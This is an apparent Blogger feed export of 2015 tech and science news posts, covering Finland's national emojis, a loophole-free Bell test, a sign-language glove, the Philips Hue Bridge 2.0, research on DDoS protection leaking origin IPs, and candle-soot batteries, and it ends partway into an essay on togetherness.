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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-28783065943789372002015-11-08T21:29:00.001+05:302015-11-08T21:29:44.540+05:30Finland To Release National Emojis Of Nokia 3310, Headbanger And Naked People In Saunas<div dir="ltr" style="text-align: left;" trbidi="on">
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In order to promote its country’s image, Finland has designed a range of “national emojis”, or symbols to be used in digital communication, making it the first country in the world to do so. The pictures include images of naked people in saunas, the Nokia 3310 mobile phone, and headbanging heavy metal fan.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYYzZ1qlRKuYQe2dTczyKnkb317ipnWEEriLu-iYG99BkuMtjwL5G1DtrMWyolZh8bnsvPpawPANkNyFAIma5uHjLjlpY8fTN2gA2mskXkZ4QSEx3igeEcihQBN1UXdbyV_w_glAtVOG1h/s1600/emoji+finland.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Nokia 3310 becomes Finland's first themed Emoji" border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYYzZ1qlRKuYQe2dTczyKnkb317ipnWEEriLu-iYG99BkuMtjwL5G1DtrMWyolZh8bnsvPpawPANkNyFAIma5uHjLjlpY8fTN2gA2mskXkZ4QSEx3igeEcihQBN1UXdbyV_w_glAtVOG1h/s640/emoji+finland.jpg" title="Nokia 3310 becomes Finland's first themed Emoji" width="640" /></a></div>
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The free 30 emojis can downloaded by anyone in the world. Everyday one new emoji will be released in the style of an advent calendar. These images will feature in the Christmas calendar published by the Ministry for Foreign Affairs on ThisisFINLAND. The calendar will be available online and via ThiisFINLAND social media channels beginning December 1. The general Finnish emojis will also be released, along with the 24 calendar hatches.</div>
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Petra Theman of the Finnish foreign ministry said that the emoji fit the character of people </div>
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"who only speak when it's necessary”:</div>
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"The Finland emojis were designed with a tongue-in-cheek approach, but I hope that they will tell the world not only about our special features but also something about our strengths", he added.</div>
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These emojis feature things that you may, or perhaps should, associate with Finland. They are designed to reveal the weirdness and the strengths of the country and its people.</div>
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Each of these emojis comes with a short description. Nokia 3310 has been chosen as one of the country's most treasured symbols. Here is what the calendar says about the Nokia 3310 emoji: “The Unbreakable. The legendary Nokia 3310 is one of the highest selling mobile phones of all times. The phone was designed in Finland and it is known for its toughness.”</div>
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The other emoji to be released is called "The Headbanger", which is the image of a person with arms thrusting upwards, making a rude sign with the fingers of both hands. It refers to the Finnish taste for head-banging heavy-metal music.</div>
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The text beside it reads: "It is dark in Finland and so is the music. There’s a small headbanger living inside of each Finn."</div>
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While another one is of a man and a woman in a sauna, which has the explanatory text: "The Sauna. Doesn’t need introducing. Sauna is as Finnish as it gets. Naked."</div>
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The calendar containing these Finnish emojis will be available in 13 languages, including Japanese, Hindi, Arabic, Polish, Korean, and Turkish.</div>
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“We have been anything but serious when creating these emojis. Hopefully they will open up not only our weirdness but also our strengths of which unarming honesty is one example,” hopes Theman.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-7702676631328555102015-10-26T18:57:00.002+05:302015-10-26T18:57:47.853+05:30Using the first loophole-free experiment physicists demonstrate the spookiness of Quantum theory <div dir="ltr" style="text-align: left;" trbidi="on">
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Quantum theory's 'spooky action at a distance' has now been confirmed officially with new loophole-free experiment.</h3>
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It has been proved by physicists that particles behave in some weird ways, in the sense that though they are separated by distance they can still influence each other.<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwQgnM581_3ndgTdtTUBXbNMExBjBKdvve5wiNlcFs2YlCL_CwSi_1EKHl9bVCZsLj8QC4R_JugNIe2NpozB59gtDITXcTviA6EGKG7O8dW_Q-NXLSHa0qNz6-p6nxzVk920rD-25FwLQK/s1600/quantum+spookiness.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Quantum theory's 'spooky action at a distance' has now been confirmed officially with new loophole-free experiment." border="0" height="258" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwQgnM581_3ndgTdtTUBXbNMExBjBKdvve5wiNlcFs2YlCL_CwSi_1EKHl9bVCZsLj8QC4R_JugNIe2NpozB59gtDITXcTviA6EGKG7O8dW_Q-NXLSHa0qNz6-p6nxzVk920rD-25FwLQK/s640/quantum+spookiness.jpg" title="Quantum theory's 'spooky action at a distance' has now been confirmed officially with new loophole-free experiment." width="640" /></a></div>
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Earlier this year, physicists explained that according to "Quantum Entanglement" two particles which are light years away can still influence each other; for instance if one particle is poked then another particle which is placed at a distance of light year can also respond to this poking without any messages being passed through the space. This sort of 'intimate connection' between the particles is termed as "Entanglement" by "quantum physics".This law of 'Quantum Entanglement' defies Einstein's "law of relativity" - according to which no particle can travel faster than speed of light. Thus, Einstein termed this intimate connection in between the separated particles as "spooky action at a distance" and he believed the spookiness of quantum theory to be totally weird.</div>
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Many papers have proved the existence of quantum entanglement; however, physicists at Netherlands have posted a new research paper online on August 24 to the <a data-mce-href="http://arxiv.org/abs/1508.05949" href="http://arxiv.org/abs/1508.05949" target="_blank">arXiv</a>.The paper titled "Experimental loophole-free violation of a Bell inequality using entangled electrons spins separated by 1.3 km" describes the<strong> first loophole free experiment</strong> with which physicists actually succeeded in meeting the mathematical gold standard for <strong>proving entanglement</strong>- a goal that was set down some fifty years ago.</div>
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Currently, the paper has to go undergo a review from other physicists and it is being reviewed at a scientific journal but it has already drawn attention in the community of quantum physics.</div>
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"It’s a shame that Einstein didn’t live long enough to learn about this," say Christoph Simon, a theoretical quantum physicist at the University of Calgary in Alberta, Canada. "The universe is not as reasonable as he wanted it to be."</div>
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<strong>First loophole free Quantum experiment to prove the "Quantum spookiness"</strong></h2>
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Physicists from Netherlands, UK and Spain entangled pairs of electrons which were separated by a distance of 1.3 km. This <strong>first loophole free quantum experiment</strong> was led by B. Hensen, researcher from Delft University of Technology, Netherlands. During the experiment, the research team measured one of the electrons and simultaneously another group closely watched its partner to check if was affected.</div>
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It was in 1960s when an Irish physicist John Bell conducted an experiment get some clear explanation for this quantum entanglement. The experiment is known as 'Bell experiment' and it has always showed that quantum entanglement theory is real. Practically speaking, most of the physicists believe that the correlation between the particles should cease completely as the particles move far away from each other; however quantum theory defies this belief and proves that the particles continue communicating with each other and is not affected by distance.</div>
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Physicists have been repeatedly conducting the Bell experiment for almost 3 decades and it has always proved the quantum theory to be real.</div>
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If the quantum theory and quantum entanglement was already proved then why are physicists conducting it again and again? Well, this question might arise in most of our minds!</div>
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Now, here comes the real hitch, physicists believe that the <strong>Bell experiment has a 'lot of loopholes'.</strong></div>
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In the Bell experiment, physicists used 'entangle photons', photons are super-fast in nature and hence it is very hard to pin them down and measure. So literally speaking 80 percent of the photons were usually lost even before they were measured thus leading to vague results.</div>
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Physicists then started using 'entangled ions' instead of 'entangled photons' just to close the loophole and to derive some clear conclusions. Using the entangled ions presented some other complications and in fact it opened another loophole! It is a fact that you cannot keep ions apart from each other for a long time and by default some information does pass between the entangled particles, which could be at a rate less than that of the light's speed.</div>
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Thus, this new loophole free experiment is very much important. Physicists claim they have finally managed to close both the loopholes as they have combined the benefits of photons with that of the electrons thus ensuring that they can be measured.</div>
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The research team conducted the experiment by entangling the spin of two electrons with that of two different photons. Initially, the two electrons were located in different laboratories which were separated by a distance of 1.3 km and the photons were sent to some third location. Then these were separately entangled with each other.</div>
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A writer at science report, <em><a data-mce-href="http://fqxi.org/community/forum/topic/2581" href="http://fqxi.org/community/forum/topic/2581" target="_blank">FQXi Blogs</a></em> writes: "As soon as the photons are entangled, BINGO, so too are the two original electron spins, seated in vastly distant labs. The team carried out 245 trials of the experiment, comparing entangled electrons, and report that Bell’s bound is violated."</div>
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So far, scientists used to blame the loopholes in the Bell experiment for proving the quantum theory; however a loophole free experiment also proved the existence of quantum entanglement proving <strong>"spooky" quantum behavior definitely exists.</strong></div>
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For now the early results of this new research has been posted at the arXiv, and authors write: "Our experiment realizes the first Bell test that simultaneously addresses both the detection loophole and the locality loophole." The experiment is now being screened for publication in a science journal for peer review.</div>
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While speaking to Jacob Aron over at<em> New Scientist</em>, Anton Zeilinger, leader of a rival team at the University of Vienna, Austria and not a part of the research team told: "It’s a very nice and beautiful experiment, and one can only congratulate the group for that. I expect they have improved the experiment, and by the time it is published they’ll have better data ... There is no doubt it will with stand scrutiny."</div>
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<strong>Quantum Cryptography: </strong></h2>
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One of the other goals as to why physicists have been constantly working on conducting a "loophole-free" Bell experiment is because this will be a huge step in the direction of 'Quantum cryptography'.</div>
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<em>Quantum Cryptography: </em>Chris Monroe, an experimental quantum physicists at the Joint Quantum Institute in Maryland says that the a loophole-free Bell test can be used for a <strong>new kind of communications network</strong> or we can say <strong>'quantum version' of the internet.</strong></div>
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When entangled particles are sent over internet it would be <strong>protected against hackers and even eavesdropper</strong> will not be able to tap any information, further if anyone tries to even eavesdrop it will not go unnoticed.</div>
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"The security of the information is guaranteed by the fundamental laws of physics," says Monroe.</div>
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According to the report by Devin Powell at Popular Science, Dutch scientists, Hensen et al at the Delft University of Technology used two diamond chips for conducting this loophole free experiment.</div>
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Powell writes: "Whether such un-hackable internet networks, if ever developed, will need to be made of diamond remains to be seen. During its nine-day run, Hensen’s glittering contraption popped out a mere 245 pairs of entangled particles. A commercially viable system would need to spit out thousands or more a minute.With only 245 events, statistics dictates a four percent chance that the result was due to chance, meaning that Bell’s threshold may not have actually been crossed."</div>
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On the contrary, Paul Kwiat, an an experimental quantum physicist who works with photons and is also in the race at the University of Illinois at Urbana-Champaign says: "In other words, there’s a 96 percent chance that they won the race. The nail’s not very deep in the coffin, and I’m certain that before long there will be results that have a much lower statistical uncertainty."</div>
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Well, it goes without saying that such an un-hackable internet is the need of the hour, in today's world where internet plays a very important and literally has become part and parcel of everyone's lives. Thus it seems Hensen et al has finally nailed the issue of hacking and at the same time proved the existence of Quantum spookiness with a loophole-free experiment.</div>
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After this week's buzz regarding Stephen Hawking's black hole theory, it is the turn of "Quantum spookiness" to be in the spotlight and seek attention from all the lovers of physics.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-86808979265463267962015-10-26T18:49:00.003+05:302015-10-26T18:49:53.957+05:30Student's high-tech smart glove converts sign language into speech<div dir="ltr" style="text-align: left;" trbidi="on">
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Hadeel Ayoub, a designer and student of Goldsmiths, University of London has developed a smart glove that translates sign language from hand gestures to visual text on a screen and audible dialogue. The wireless SignLanguageGlove is designed to make communication easier for those with disabilities or impediments, and has already gone through three prototype stages.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQI8JYRJoo3nxv2MIib8svNVqjHB8s686N0E792mwPrelS8ydHS9S0uzjwYRZfiS15ibuyovfpdRhAU_HEa8L9YqNRlgP9Zk07jxoH66y2jND30Uocuvvil1d0D6tfs6J0I7AF0qL_HzjI/s1600/gloves.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Hadeel Ayoub, a designer and student of Goldsmiths, University of London has developed a smart glove that translates sign language from hand gestures to visual text on a screen and audible dialogue. The wireless SignLanguageGlove is designed to make communication easier for those with disabilities or impediments, and has already gone through three prototype stages. The original version of the SignLanguageGlove translated sign language gestures into visual letters on a screen, which comprised of flex sensors, an accelerometer, a microcontroller board, and a four digit graphic numerical display. Five flex sensors were attached to the glove to track five fingers, to detect bends and curvatures then reporting the values to a serial monitor. An accelerometer was attached to detect the orientation of the hand. Hadeel also developed a computer programme that recognizes the output values of the sensors and accelerometer and matches them with a series of statements that determine what letters to display on a screen. She then followed up with a second prototype with an improved model that was faster and more robust, featuring smaller, more discreet hardware and text that scrolled on a screen, deleting the old and adding the new. The third and latest prototype features a text-to-speech chip with the hardware sewn into the lining of the glove. This model went on to be displayed at the Goldsmiths MA/MFA Computational Arts end-of-degree show earlier this month. "I didn't want all the wires to intimidate users, making them feel the glove will be complicated to use or really fragile," Hadeel explained. "People tend to lean to the cautious side when approached with new high-tech products which contradicts the main purpose of this glove, which is to help make lives easier." Hadeel is now working on the fourth prototype of the device, which will include an accompanying smartphone application that will receive the glove's output through Wi-Fi. As an Arabic, French and English speaker, she also intends to introduce a translation feature into the app, enabling text translation in real-time, a motion sensor for better mapping and a small glove that would be suitable for children - a new challenge to minimize glove's hardware to make it light enough for young users. Hadeel has been approached by many companies who are interested in producing the glove, and the fourth prototype is expected to cost approximately £255 ($385). However, Hadeel hopes that if the glove is made available on a large scale, users with disabilities will not have to pay for it. Instead, schools and companies will purchase them for their employees, students and patients. Hadeel says: "I had one mission when I started this project and it was to facilitate communication between all kinds of disabilities, eliminating barriers between people who have a visual, hearing or speech impairment. The prototypes each have a new additional feature, an LED light, and a speaker for example, that took me one step closer to my goal. Once I've incorporated WiFi and translation features into it the glove will be useful for all -- no exclusions as to who the user can reach, wherever, whoever, from any country at any time."" border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQI8JYRJoo3nxv2MIib8svNVqjHB8s686N0E792mwPrelS8ydHS9S0uzjwYRZfiS15ibuyovfpdRhAU_HEa8L9YqNRlgP9Zk07jxoH66y2jND30Uocuvvil1d0D6tfs6J0I7AF0qL_HzjI/s640/gloves.png" title="Hadeel Ayoub, a designer and student of Goldsmiths, University of London has developed a smart glove that translates sign language from hand gestures to visual text on a screen and audible dialogue. The wireless SignLanguageGlove is designed to make communication easier for those with disabilities or impediments, and has already gone through three prototype stages. The original version of the SignLanguageGlove translated sign language gestures into visual letters on a screen, which comprised of flex sensors, an accelerometer, a microcontroller board, and a four digit graphic numerical display. Five flex sensors were attached to the glove to track five fingers, to detect bends and curvatures then reporting the values to a serial monitor. An accelerometer was attached to detect the orientation of the hand. Hadeel also developed a computer programme that recognizes the output values of the sensors and accelerometer and matches them with a series of statements that determine what letters to display on a screen. She then followed up with a second prototype with an improved model that was faster and more robust, featuring smaller, more discreet hardware and text that scrolled on a screen, deleting the old and adding the new. The third and latest prototype features a text-to-speech chip with the hardware sewn into the lining of the glove. This model went on to be displayed at the Goldsmiths MA/MFA Computational Arts end-of-degree show earlier this month. "I didn't want all the wires to intimidate users, making them feel the glove will be complicated to use or really fragile," Hadeel explained. "People tend to lean to the cautious side when approached with new high-tech products which contradicts the main purpose of this glove, which is to help make lives easier." Hadeel is now working on the fourth prototype of the device, which will include an accompanying smartphone application that will receive the glove's output through Wi-Fi. As an Arabic, French and English speaker, she also intends to introduce a translation feature into the app, enabling text translation in real-time, a motion sensor for better mapping and a small glove that would be suitable for children - a new challenge to minimize glove's hardware to make it light enough for young users. Hadeel has been approached by many companies who are interested in producing the glove, and the fourth prototype is expected to cost approximately £255 ($385). However, Hadeel hopes that if the glove is made available on a large scale, users with disabilities will not have to pay for it. Instead, schools and companies will purchase them for their employees, students and patients. Hadeel says: "I had one mission when I started this project and it was to facilitate communication between all kinds of disabilities, eliminating barriers between people who have a visual, hearing or speech impairment. The prototypes each have a new additional feature, an LED light, and a speaker for example, that took me one step closer to my goal. Once I've incorporated WiFi and translation features into it the glove will be useful for all -- no exclusions as to who the user can reach, wherever, whoever, from any country at any time."Hadeel Ayoub, a designer and student of Goldsmiths, University of London has developed a smart glove that translates sign language from hand gestures to visual text on a screen and audible dialogue. The wireless SignLanguageGlove is designed to make communication easier for those with disabilities or impediments, and has already gone through three prototype stages. The original version of the SignLanguageGlove translated sign language gestures into visual letters on a screen, which comprised of flex sensors, an accelerometer, a microcontroller board, and a four digit graphic numerical display. Five flex sensors were attached to the glove to track five fingers, to detect bends and curvatures then reporting the values to a serial monitor. An accelerometer was attached to detect the orientation of the hand. Hadeel also developed a computer programme that recognizes the output values of the sensors and accelerometer and matches them with a series of statements that determine what letters to display on a screen. She then followed up with a second prototype with an improved model that was faster and more robust, featuring smaller, more discreet hardware and text that scrolled on a screen, deleting the old and adding the new. The third and latest prototype features a text-to-speech chip with the hardware sewn into the lining of the glove. This model went on to be displayed at the Goldsmiths MA/MFA Computational Arts end-of-degree show earlier this month. "I didn't want all the wires to intimidate users, making them feel the glove will be complicated to use or really fragile," Hadeel explained. "People tend to lean to the cautious side when approached with new high-tech products which contradicts the main purpose of this glove, which is to help make lives easier." Hadeel is now working on the fourth prototype of the device, which will include an accompanying smartphone application that will receive the glove's output through Wi-Fi. As an Arabic, French and English speaker, she also intends to introduce a translation feature into the app, enabling text translation in real-time, a motion sensor for better mapping and a small glove that would be suitable for children - a new challenge to minimize glove's hardware to make it light enough for young users. Hadeel has been approached by many companies who are interested in producing the glove, and the fourth prototype is expected to cost approximately £255 ($385). However, Hadeel hopes that if the glove is made available on a large scale, users with disabilities will not have to pay for it. Instead, schools and companies will purchase them for their employees, students and patients. Hadeel says: "I had one mission when I started this project and it was to facilitate communication between all kinds of disabilities, eliminating barriers between people who have a visual, hearing or speech impairment. The prototypes each have a new additional feature, an LED light, and a speaker for example, that took me one step closer to my goal. Once I've incorporated WiFi and translation features into it the glove will be useful for all -- no exclusions as to who the user can reach, wherever, whoever, from any country at any time."" width="640" /></a></div>
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The original version of the SignLanguageGlove translated sign language gestures into visual letters on a screen, which comprised of flex sensors, an accelerometer, a microcontroller board, and a four digit graphic numerical display. Five flex sensors were attached to the glove to track five fingers, to detect bends and curvatures then reporting the values to a serial monitor. An accelerometer was attached to detect the orientation of the hand.</div>
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Hadeel also developed a computer programme that recognizes the output values of the sensors and accelerometer and matches them with a series of statements that determine what letters to display on a screen.</div>
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She then followed up with a second prototype with an improved model that was faster and more robust, featuring smaller, more discreet hardware and text that scrolled on a screen, deleting the old and adding the new. The third and latest prototype features a text-to-speech chip with the hardware sewn into the lining of the glove. This model went on to be displayed at the <a data-mce-href="http://www.gold.ac.uk/news/homepage-news/studentshigh-techsmartglovetranslatessignlanguageintotextandspeech.php" href="http://www.gold.ac.uk/news/homepage-news/studentshigh-techsmartglovetranslatessignlanguageintotextandspeech.php" target="_blank">Goldsmiths MA/MFA Computational Arts</a> end-of-degree show earlier this month.</div>
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"I didn't want all the wires to intimidate users, making them feel the glove will be complicated to use or really fragile," Hadeel explained. "People tend to lean to the cautious side when approached with new high-tech products which contradicts the main purpose of this glove, which is to help make lives easier."</div>
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Hadeel is now working on the fourth prototype of the device, which will include an accompanying smartphone application that will receive the glove's output through Wi-Fi. As an Arabic, French and English speaker, she also intends to introduce a translation feature into the app, enabling text translation in real-time, a motion sensor for better mapping and a small glove that would be suitable for children - a new challenge to minimize glove's hardware to make it light enough for young users.</div>
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Hadeel has been approached by many companies who are interested in producing the glove, and the fourth prototype is expected to cost approximately £255 ($385). However, Hadeel hopes that if the glove is made available on a large scale, users with disabilities will not have to pay for it. Instead, schools and companies will purchase them for their employees, students and patients.</div>
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Hadeel says: "I had one mission when I started this project and it was to facilitate communication between all kinds of disabilities, eliminating barriers between people who have a visual, hearing or speech impairment. The prototypes each have a new additional feature, an LED light, and a speaker for example, that took me one step closer to my goal.</div>
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Once I've incorporated WiFi and translation features into it the glove will be useful for all -- no exclusions as to who the user can reach, wherever, whoever, from any country at any time."</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com2tag:blogger.com,1999:blog-1778979857251896130.post-11806783449983512862015-10-26T18:45:00.000+05:302015-10-26T18:45:24.548+05:30Hue Bridge 2.0 : Philips' color-changing bulbs add Apple HomeKit support<div dir="ltr" style="text-align: left;" trbidi="on">
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Philips has launched a brand new Hue Bridge 2.0 with HomeKit support, bringing HomeKit compatibility to existing Hue bulbs and lamps. With the Hue Bridge 2.0, its line of Philips Hue lights are able to work with Apple's home automation platform, allowing all existing and future Hue bulbs to be controlled with Siri voice commands.</div>
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Further, the new Bridge supports other connected home platforms so it’s future-proof, while the original round-shaped Bridge will continue to be supported with software updates. Ironically, existing Hue users will need to purchase a brand new bridge as the existing bridge is not compatible with HomeKit.</div>
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The integration of the Hue connected lighting system with HomeKit allows users to control their Hue lights through Siri on their iPhone, iPad, iPod touch or Apple Watch.</div>
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<img alt="New Philips Hue bridge compatible with HomeKit, lets you control lights by talking to Siri" class="alignnone" data-mce-src="http://cnet3.cbsistatic.com/hub/i/2013/08/27/6d839d59-6788-11e3-846b-14feb5ca9861/043bb4ba85a7ab594f251a4a26abe79d/2Z9A2711.jpg" height="641" src="http://cnet3.cbsistatic.com/hub/i/2013/08/27/6d839d59-6788-11e3-846b-14feb5ca9861/043bb4ba85a7ab594f251a4a26abe79d/2Z9A2711.jpg" style="height: auto; max-width: 100%;" title="New Philips Hue bridge compatible with HomeKit, lets you control lights by talking to Siri" width="940" /></div>
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After installing the new Hue bridge and updating the app, you can ask Siri a few things to customize your lights, such as “Hey Siri, turn all lights yellow” or “Hey Siri, set the living room lamp to 20 percent.”</div>
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The company writes "You can ask Siri to ‘wake up’ your home, turning on your Philips Hue lights and setting the thermostat to a comfortable temperature helping you and your family have a pleasant start to the day."</div>
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“At night you can ask Siri to recall light scenes you’ve created using the Philips Hue app, or set your home to ‘night mode’ turning off your lights and locking your front door.”</div>
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Currently, the Philips Hue app only supports the Siri part. As a result, you cannot integrate Hue lights with other products. However, this could change in a future software update. If your other product supports pairing with HomeKit products, you can actually add Hue lights from their apps.</div>
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"Lighting is the most accessible aspect of the connected home, and as the lighting expert for the Internet of Things we are taking connected lighting to the next phase," said Eric </div>
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Rondolat, Chief Executive Officer at Philips Lighting. "By integrating Philips Hue with Apple HomeKit, we are broadening people's experience of light beyond what has been previously possible, providing seamless interoperability with other connected home devices."</div>
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HomeKit device makers include ecobee3, Elgato, iHome, Insteon, Lutron, iDevices and Schlage. Other manufacturers are still working on updated software or hardware products.</div>
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The original Hue Bridge will not be updated with HomeKit compatibility, as it does not have the necessary hardware, but Philips plans to continue to support it with software updates. </div>
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The new bridge doesn’t have any additional feature. It has a new app icon-shaped design and still comes in white.</div>
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The new Hue Bridge 2.0 looks similar to the existing Hue Bridge, but it is square like the Apple TV rather than round. Along with the new bridge, Philips is also debuting a new set of lights. The new Hue bulbs are somewhat brighter at 800 lumens instead of 600 lumens. The white bulbs also have a new brighter variant at 800 lumens instead of 750 lumens. The LightStrip was also updated. All these new bulbs come with “increased internal storage.”</div>
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The square shaped Hue Bridge 2.0 is controllable via the Philips Hue app, which has been refreshed with full support for HomeKit and iOS 9. The new Hue Bridge 2.0 costs $60, and existing Hue owners can get a $20 discount. The connected home accessory will be available in Europe and North America from Tuesday, October 6, 2015 as a standalone product, or in a package with updated Hue light bulbs.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com1tag:blogger.com,1999:blog-1778979857251896130.post-34356677653467558532015-10-26T18:41:00.002+05:302015-10-26T18:41:58.283+05:30Researchers claim websites fail to hide origin IP from DDoS attackers<div dir="ltr" style="text-align: left;" trbidi="on">
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Most of the Cloud-Based Security Providers (CBSP) are not effective in keeping the websites safe from DDoS attacks shows recent research paper. The main reason is that they are not able to completely hide the origin website's IP address from attackers.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuggq578SOAdr1Y0kn3vyyDi_BcjHWRDJmP9qaw7IDjYwyyGhl2zs9k5ZA-gr9j6ClH8fI88J1YhnzgrcMMPM0KGf4YHpDjs71Nmurco4215nwx1cUr5cpg37bxF5cXzkhAJ2O5gbpEXCI/s1600/ddos.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Researchers claim websites fail to hide origin IP from DDoS attackers" border="0" height="346" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuggq578SOAdr1Y0kn3vyyDi_BcjHWRDJmP9qaw7IDjYwyyGhl2zs9k5ZA-gr9j6ClH8fI88J1YhnzgrcMMPM0KGf4YHpDjs71Nmurco4215nwx1cUr5cpg37bxF5cXzkhAJ2O5gbpEXCI/s640/ddos.jpg" title="Researchers claim websites fail to hide origin IP from DDoS attackers" width="640" /></a></div>
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In order to place itself between the attackers and the target website, most cloud-based security solutions work by changing a website's DNS settings.</div>
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However, the problem is that if the attackers know the website's origin IP, then this kind of DDoS mitigation can be easily bypassed. The mitigation service can be bypassed in this case by being able to send the DDoS traffic directly to the IP.</div>
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There are eight methods through which these mitigations services can be bypassed, claim five security researchers from the US and Belgium.</div>
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While four of them were extensively spoken about after Allison Nixon and Christopher Camejo <a data-mce-href="https://media.blackhat.com/us-13/US-13-Nixon-Denying-Service-to-DDOS-Protection-Services-WP.pdf" href="https://media.blackhat.com/us-13/US-13-Nixon-Denying-Service-to-DDOS-Protection-Services-WP.pdf" target="_blank">presented them</a> (PDF) at the Black Hat USA 2013 security conference, four new methods were also discovered by the researchers.</div>
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The four older methods of getting a website's origin IP address depend on hackers searching in DNS records, through historical Web traffic databases, subdomains that settle to the main domain directly, and the site's own source code.</div>
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The researchers further also discovered that the origin IP can be found out during the temporary exposure of the IP when the protection service is paused for maintenance or server migrations, through SSL certificates, sensitive files hosted on the server, and by triggering outbound connections.</div>
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After scanning 17,877 websites for six months, the researchers found out during their studies that 71.5% of the sites disclosed the origin IP address mostly through the FTP subdomain.</div>
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The researchers put together CloudPiercer, a tool that compares a version of the website obtained from the real IP address, with one obtained through the cloud mitigation service, to aid the webmasters recognize issues with their own websites.</div>
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"Complete mitigation of origin exposure is hard, as administrators are required to fully understand the potential risks and comprehensively address all vulnerabilities in order to fully prevent an attacker from circumventing the CBSP," say the researchers. "However, a tool similar to CloudPiercer could be deployed by CBSPs to proactively scan their client's domains for exposed origins, creating awareness and helping administrators fix specific vulnerabilities."</div>
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The entire Maneuvering Around Clouds: Bypassing Cloud-based Security Providers report is available for download. Provided below is a sample of the CloudPiercer report.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com1tag:blogger.com,1999:blog-1778979857251896130.post-82680361536129491832015-10-26T18:38:00.002+05:302015-10-26T18:38:42.370+05:30Indian Researchers say that Candle soot can power the lithium batteries in electric cars<div dir="ltr" style="text-align: left;" trbidi="on">
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According to researchers from the Indian Institute of Technology in Hyderabad, carbon from candle soot could be used to power the kind of lithium ion battery in plug-in hybrid electric cars. </div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFGIWYjaJi837CYftmxyQScra_jl1smUABkr5d6fON2xcDYhKQBtkKhxgqq67XgfL5zSTmL62DwhodRwn0MODzuUTEUgoNA0N1xzWPaDGM52ZcOq1BteCdBzWjwfyFxWSq-3XhMTTNpeUn/s1600/candle-soot.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Indian Researchers: Candle soot can power the lithium batteries in electric cars" border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFGIWYjaJi837CYftmxyQScra_jl1smUABkr5d6fON2xcDYhKQBtkKhxgqq67XgfL5zSTmL62DwhodRwn0MODzuUTEUgoNA0N1xzWPaDGM52ZcOq1BteCdBzWjwfyFxWSq-3XhMTTNpeUn/s640/candle-soot.jpg" title="Indian Researchers: Candle soot can power the lithium batteries in electric cars" width="640" /></a></div>
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The authors of the study, Dr. Chandra Sharma and Dr. Manohar Kakunuri claim that their findings could open up possibilities for using carbon in more powerful batteries, which could drive down the costs of portable power.</div>
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“We are very excited about the results. This new approach is very easy and the costs involved are minimal – it would make battery production cheaper,” said Sharma.</div>
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Sharma estimated that one hybrid car would need ten kg of carbon soot, which would be deposited in about an hour using candles.</div>
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Lithium ion batteries are used to power a wide range of devices, including smartphones, digital cameras, electric cars and even aircraft. The batteries produce current through two electrically charged materials suspended in a liquid. Carbon, which is used as one of the materials in smaller batteries, is considered unsuitable because of its structure in bigger and more powerful batteries, as it cannot yield the required current density.</div>
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However, the carbon in candle soot is suitable for use in bigger batteries because of the shape and configuration of the tiny carbon nanoparticles, found Sharma and Manohar Kakunuri in their new study. It is also a scalable approach to making batteries, because the soot could be produced quickly and easily.</div>
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"If you put a water droplet on candle soot it rolls off -- that's an observation that's been made in the last few years. The material candle soot is made of, carbon, also has electric potential. So why not use it as an electrode?" asked Dr. Sharma, author of the study from the Indian Institute of Technology. "We looked into it and saw it also shows some exceptional electrochemical properties, so we decided to test it further."</div>
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Soot, which is made of carbon, is produced when a candle burns. The team observed the soot collected from the tip and middle of a candle flame and compared the size, shape and structure of the carbon for the study. They found that nanoparticles of carbon that are 30 to 40 nanometers were formed by the burning process. They also found that the soot recovered from the tip of a candle flame, which burned at 1,400 degrees Celcius, made it perform better as an electrical conductor, as it had fewer impurities like wax.</div>
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The researchers analysed the effectiveness of soot as a conducting material to use in a battery, using a technique called cyclic charge-discharge (CCD). Depending on the rate of charge or discharge, the method shows how powerful the battery is: the higher the rate, the more powerful the battery. Testing showed the candle soot worked best at high charge-discharge rates. Researchers published the results in the journal Electrochimica Acta.</div>
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The researchers now plan to develop a candle soot battery to test the technology further. </div>
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They are also looking at testing hybrid materials that contain candle soot to determine if they can make it better for batteries.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-32044808644681416572015-10-21T13:07:00.002+05:302015-10-21T13:07:59.651+05:30Real Togetherness : Finding the real meaning of togetherness in life<div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-size: large;">Togetherness > This word has lost its meaning in today's world. This is a world people are running after goals without any feeling or togetherness. In this dog eats dog world, the only thing that is important is money. </span><br />
